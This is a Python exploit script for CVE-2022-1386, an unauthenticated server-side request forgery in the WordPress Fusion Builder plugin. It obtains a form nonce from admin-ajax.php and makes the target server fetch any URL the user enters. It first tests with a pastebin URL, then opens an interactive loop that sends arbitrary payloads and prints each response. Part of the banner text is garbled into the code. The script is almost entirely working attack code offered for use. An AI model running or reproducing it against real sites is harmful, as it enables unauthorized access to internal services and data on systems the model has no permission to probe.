""" CVE-2022-1386 - Fusion Builder < 3.6.2 - Unauthenticated SSRF :author Naufal Reky Ardhana """ import binascii import json import os import requests import urllib3 from bs4 import BeautifulSoup def display_banner(): print( """ CVE-2022-1386 - Fusion Builder < 3.6.2 - Unauthenticated SSRF ___ ____ ___ ___ ________ ____ _____ |__ \ / __ \__ \|__ \ < /__ /( __ )/ ___/ __/ // / / /_/ /__/ /_____/ / /_ object: boundary = binascii.hexlify(os.urandom(16)).decode('ascii') body = ( "".join("--%s\r\n" "Content-Disposition: form-data; name=\"%s\"\r\n" "\r\n" "%s\r\n" % (boundary, field, value) for field, value in fields.items()) + "--%s--\r\n" % boundary ) content_type = "multipart/form-data; boundary=%s" % boundary return body, content_type class CVE_2022_1386: def __init__(self, url): self.request = None self.test_url = "https://pastebin.com/raw/XNBxNyaU" self.fusion_id = None self.url = url self.domain = self.url.split("//")[1].split("/")[0] self.make_folder() def make_folder(self): os.makedirs("output", exist_ok=True) os.makedirs(f"output/{self.domain}", exist_ok=True) def save_fusion_id(self): with open(f"output/{self.domain}/fusion_id.txt", "w") as f: f.write(self.fusion_id) def load_fusion_id(self): if os.path.exists(f"output/{self.domain}/fusion_id.txt"): with open(f"output/{self.domain}/fusion_id.txt", "r") as f: self.fusion_id = f.read() return self.fusion_id else: return None def generate_fusion_id(self): headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest", "Sec-Fetch-Dest": "empty", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Site": "same-origin", "Te": "trailers" } data = { "action": "fusion_form_update_view" } fusion_id = self.load_fusion_id() if fusion_id is None: r = requests.post(self.url + "/wp-admin/admin-ajax.php", headers=headers, data=data) if r.status_code == 200: soup = BeautifulSoup(r.text, "html.parser") try: self.fusion_id = soup.find("input", {"name": "fusion-form-nonce-0"})["value"] self.save_fusion_id() return self.fusion_id except TypeError: return None else: return None else: return fusion_id def exploit(self, payload): fusion_id = self.generate_fusion_id() if fusion_id is None: return False data = { "formData": f"email=example%40example.com&fusion_privacy_store_ip_ua=false" f"&fusion_privacy_expiration_interval" f"=48&privacy_expiration_action=ignore&fusion-form-nonce-0={fusion_id}&fusion-fields-hold" f"-private-data=", "action": "fusion_form_submit_form_to_url", "fusion_form_nonce": fusion_id, "form_id": "0", "post_id": "0", "field_labels": '{"email":"Email address"}', "hidden_field_names": "[]", "fusionAction": payload, "fusionActionMethod": "GET" } encoded_data = encode_multipart_form_data(data) headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "X-Requested-With": "XMLHttpRequest", "Sec-Fetch-Dest": "empty", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Site": "same-origin", "Te": "trailers", "Content-Type": encoded_data[1] } r = requests.post(self.url + "/wp-admin/admin-ajax.php", headers=headers, data=encoded_data[0]) self.request = r.request if r.status_code == 200: try: return r.json() except json.decoder.JSONDecodeError: return {"status": "failed"} else: return {"status": "failed"} def save_raw_request(self, filename): headers = [f"{k}: {v}" for k, v in self.request.headers.items()] with open(filename, "w") as f: f.write(self.request.method + " " + self.request.url + " HTTP/1.1\r\n") f.write("\r\n".join(headers)) f.write("\r\n\r\n") f.write(self.request.body) if __name__ == '__main__': urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) display_banner() url = input("[>] Target URL: ") cve = CVE_2022_1386(url) print("[+] Testing SSRF...") result = cve.exploit(cve.test_url) if "3e87da640674ddd9c7bafbc1932b91c9" in result['info']: print("[+] Target is vulnerable to SSRF!") print("[+] Saving raw request...") cve.save_raw_request(f"output/{cve.domain}/raw_request.txt") print(f"[+] Raw request saved to output/ folder") while True: payload = input("[>] Payload: ") if payload == "exit": break print("[+] Sending payload...") result = cve.exploit(payload) if result['status'] == 'success': print("[+] Response:") print(result['info']) else: print("[-] Payload is not working!") else: print("[-] Target is not vulnerable to SSRF!")